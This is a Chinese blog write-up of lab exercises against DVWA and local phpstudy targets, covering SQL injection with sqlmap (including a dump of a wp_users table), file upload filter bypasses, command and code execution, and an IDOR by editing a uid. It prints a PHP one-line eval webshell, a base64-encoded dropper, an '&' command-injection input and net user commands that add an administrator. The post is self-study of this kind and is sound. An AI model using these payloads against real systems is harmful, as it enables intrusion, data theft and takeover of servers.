asp.net web submit链接页面_四、常见WEB漏洞

5c87de6ff6ff9139611cbefdd3ce92b9.png

一、SQL注入介绍与初步学习

利用提供的学习资料,在本地环境搭建sqlmap

emmm由于kali自带sqlmap,所以不用搭建了

二、SQL注入的利用与防御

自己搭建靶场或者利用Pockr的靶场分别进行手动和SQLMap的注入尝试

首先,在dvwa中进行手动注入

通过输入1 和 1‘ 可以看出这里是存在注入的

26e0c40e83a43c8c59ff61d08041068a.png

31dd9b36d0f56b88fbf05db2d78f1cd5.png

因此,通过输入' union select 1,database()#,让id闭合以及合并select语句,可以得到数据库名

23131770f01d5913f6ae706d246a15b2.png

sqlmap注入

尝试用sqlmap盲注。。

首先尝试的是dvwa的sql的get请求(全部使用默认值)

sqlmap -u 'http://192.168.254.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'

结果返回了要回到登录页面,问我是否继续???我就奇怪了,为神马会返回呢???

然后我不鸟它直接用默认值

35c50c564b595ddaa67d1ac8ae46496a.png

结果就是页面没漏洞。。。。然后我问了下度娘,原来它是要验证cookie值,这个就简单啦,抓一下就好了

28eef310c9a095336bb3d90854d00a35.png

然后按照度娘说的格式加上去

sqlmap -u 'http://192.168.254.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie="security=low; PHPSESSID=8n2qdg7o0pb76nla7clsg6inu2"

30a10fb77460436b8aa096ec4417ab81.png

一路默认值后可以看到目前扫描出了三个漏洞

一个是id存在注入点,错误类型为布尔型。。第二个是错误型,把mysql的大版本号爆出来了。。第三个是时间型,同样把mysql的版本号爆出来了

66afc5d700fa3171ec4ab67793bead16.png

过了几秒后问我是否测试其他,默认值N后,显示了总结出来的漏洞,也就是上面说的那三个,而且还提供了payload测试

961225928cd82e6f92451ff20d2087f1.png

测试一下第二个是啥

6b70ee88eac2eddd27d8a1928dc38113.png

我也不知道是什么,大致翻译就是密钥是这个东西把。。测试下第三个把,这个意思就是延迟5秒

fe381115d1389c4f70a64b2965e2fa98.png

这些没啥意思,试试最基础的把数据库爆出来

bdf93ef56e62baeb3f0102fea063846a.png

很快就有了结果。。把我之前部署过的靶场的数据库都爆出来了

abf53a3e8ff93abe04c98170651c4485.png

然后试试爆表???

bdfcb823984881008234c9464077aabe.png

74d97dac592dbbfa5fa5bc8662c66c99.png

同样也是非常快。。而且突然发现可以把php版本和apache版本也爆出来

当然,既然要黑别人,最重要的脱裤肯定少不了。。呸。是脱库。。辣鸡输入法

sqlmap -u 'http://192.168.254.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie="security=low; PHPSESSID=8n2qdg7o0pb76nla7clsg6inu2" -D wordpress -T wp_users --dump

结果。。

6c01d2e29884a64a2f8efa3d9d3bd1fe.png

同时还帮我计算密码的hash值。。不过由于电脑太烂,不是一般的慢。。(听过macbook有buff加成)

23a13d954de6537888b5d692623eaf4f.png

最后得出脱库的所有信息。。当然密码算不出来了。。

32f69f550c40b8081d267d1ad2a1c7d2.png

至于post类型由于靶场没有相应的功能,所有先不弄

上传

利用dvwa中的文件上传模块进行任意文件上传和提权等操作!

首先上传一张照片,可以发现是上传成功的

8af5d6a4ad81965235bbb1e804b22098.png

下面试试上传shell的php脚本,也是可以正常上传,说明Low模式下是没有任何过滤拦截的

10895c3d68ebe9251408ca3b9e5233e2.png

下面试试medium模式

通过上传shell.php文件可以看到,网站拦截了非png和jpeg等图片格式的文件

169194b77a19fa64bd2b8bba68eb05f7.png

下面通过抓包可以发现,上传图片的时候Content-Type为image/png,告诉客户端实际返回的内容为图片格式

e550c2c6ca06b4fa4a4f08ed576b8cc9.png

而如果上传php格式文件,Content-Type为application/octet-stream,不是图片格式,所以网页拦截下来

712a9f4bc86d6e3f86104e35a5200c4e.png

所以可以通过抓包,把Content-Type改为image/png

1c59aa2713a619f8e1b0c65930b749af.png

上传成功

196ae2a4296214d64e6249d6456d189c.png

d6f3d8f6e3091a0226cd7bf264a87c51.png

然后通过网页显示的上传地址,连接上网站主机

一句话木马:<?php @eval($_POST['pass']);?>

9c7ddb3973081ea6ba0892bc8af90aa1.png

a1aa9f7843e3ff497330283148712055.png

然后创建一个账户,并且提权(Emmmmm由于linux提权过于困难,改用win环境。。。)

命令:net user 用户名 密码 /add(创建用户)

net localgroup administrators 用户名 /add(将用户添加到administrators组)

然后可以看到我们的用户成功添加到administrators组

8663505c6fa9c1886009663211038dee.png

四、其他文件上传漏洞类型

文件内容绕过

通过cmd的copy aaa.jpg+shell.php bbb.jpg命令,把一张正常的图片与shell文件结合,得到bbb.jpg

c4d5ec86190bfc0507845818fd7e89a5.png

然后上传,由于jpg格式并不能作为脚本运行一句话木马,因此上传的时候需要抓包,把jpg改为php

46b1eadd0da31c54ee2334b099c0f331.png

上传成功,并且成功shell

五、命令、代码执行

test1:在电脑上搭建phpstudy环境,将我们提供的源代码直接放在文件夹下。对我们本节课演示的两个漏洞进行练习。

test2:完整的练习从执行到提权的过程!

源代码下载地址:

链接:https://pan.baidu.com/s/1wkt3e87j_Eq8HZwBuvE1Xw 密码:xiit

首先是练习命令执行漏洞

输入:127.0.0.1&chcp 后可以看到,成功返回了ping值以及cmd的返回编码,证明了这个php页面存在命令执行漏洞。

54dfaab08d5db470e3b9a88f84dac928.png

进行创建用户和提权

89dd2cb0f0c955c5897f7959e29c2f75.png

代码执行漏洞

首先打开靶场。。结果emmmmmm出错

9160e17c89f5857532a7af2bcb3ef055.png

然后仔细看了下。。打开错靶场了。。重新打开正确的靶场发现。。怎么还是错误!!!

ebb203845a8769ec6d610f076797b9b4.png

然后百度了下这个php源码发现,原来要在后面提交一个参数给cmd。。然后打开大佬说的phpinfo,发现是可以成功执行的,那么就可以开始提权了

73b58ae454fbe8619f6b19c9b7994aa3.png
由于网站通常都会过滤掉以utf-8格式提交的内容,因此通过百度把一句话木马用base64加密file_put_contents('key.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+'));

这个代码的意思是创建一个名为key的php文件,里面的内容为base64解密后面的字符串

提交后可以发现,这个php页面的当前目录下多了一个key的php文件(不知道为什么百度上的base64加密有很多种算法,导致解密乱码,最后用https://www.sojson.com/base64.html 这个才成功,但是解密后不知道为什么会漏了个>)

462b9a8ed5b3d61fbf0d9a4a5e99c891.png

然后就可以通过蚁剑连接上来

cc7a543bc5e0a4b7057dfab0ff66cdea.png

创建账户、提权

bf35d73373cafdd98f3c3df19c532c33.png

28539768a310c2cff1a73364b207d07c.png

ps:在win server 08 搭建这个源码的时候遇到了一个问题,就是返回的结果是乱码的,而在kali搭建却正常,弄了很久都不知道什么回事,于是就把这个作业放下了(那段时间比较忙,比赛、实训和期末考试),到了暑假玩疯了几天,有一天洗澡的时候突然想到是不是cmd的问题(果然洗手间是最好的灵感地),于是百度了一下,终于弄好了。

方法:新建一个xxx.reg脚本把cmd的输出编码值改成utf-8

脚本:Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERConsole%SystemRoot%_system32_cmd.exe]

"CodePage"=dword:0000fde9

"FontFamily"=dword:00000036

"FontWeight"=dword:00000190

"FaceName"="Consolas"

"ScreenBufferSize"=dword:232900d2

"WindowSize"=dword:002b00d2

六、逻辑漏洞

请下载源码进行搭建,找到里面的一个越权查看用户信息的漏洞(如能找到其他漏洞也可视为完成作业)

搭建环境:phpstudy+源码

源码链接:链接:https://pan.baidu.com/s/1AG78I7UM_64ZS9lfzQX3_Q 密码:w99s

搭建后以管理员账户打开,然后进入个人信息页面,然后可以注意到这里很可能存在一个越权的漏洞

9ab3b02407ce1b5c129b861c7f76d2c2.png

然后尝试修改了uid

c25d5ca70282b7ffa7b8afad8f58414a.png

然后可以发现这个用户不存在

b452c9ba57c00396785248c0ade2dbe3.png

但是这也证明了可以越权去查看其他用户的信息,当然,这也有可能是因为管理员拥有查看权限的原因,于是我又另外注册了一个普通会员,尝试用普通会员查看管理员的信息,登陆后通过对比,很明显发现uid的规则是按注册的先后顺序的

91e38a23a637ad6889e25340bcb5e79e.png

于是尝试修改uid为1,看看是不是可以查看管理员的账户

958c5c85942ad98343ca55f408d72ed9.png

结果可以发现成功进到管理员的个人信息页面

d3b0cad7f346f248238e0729bdb67614.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值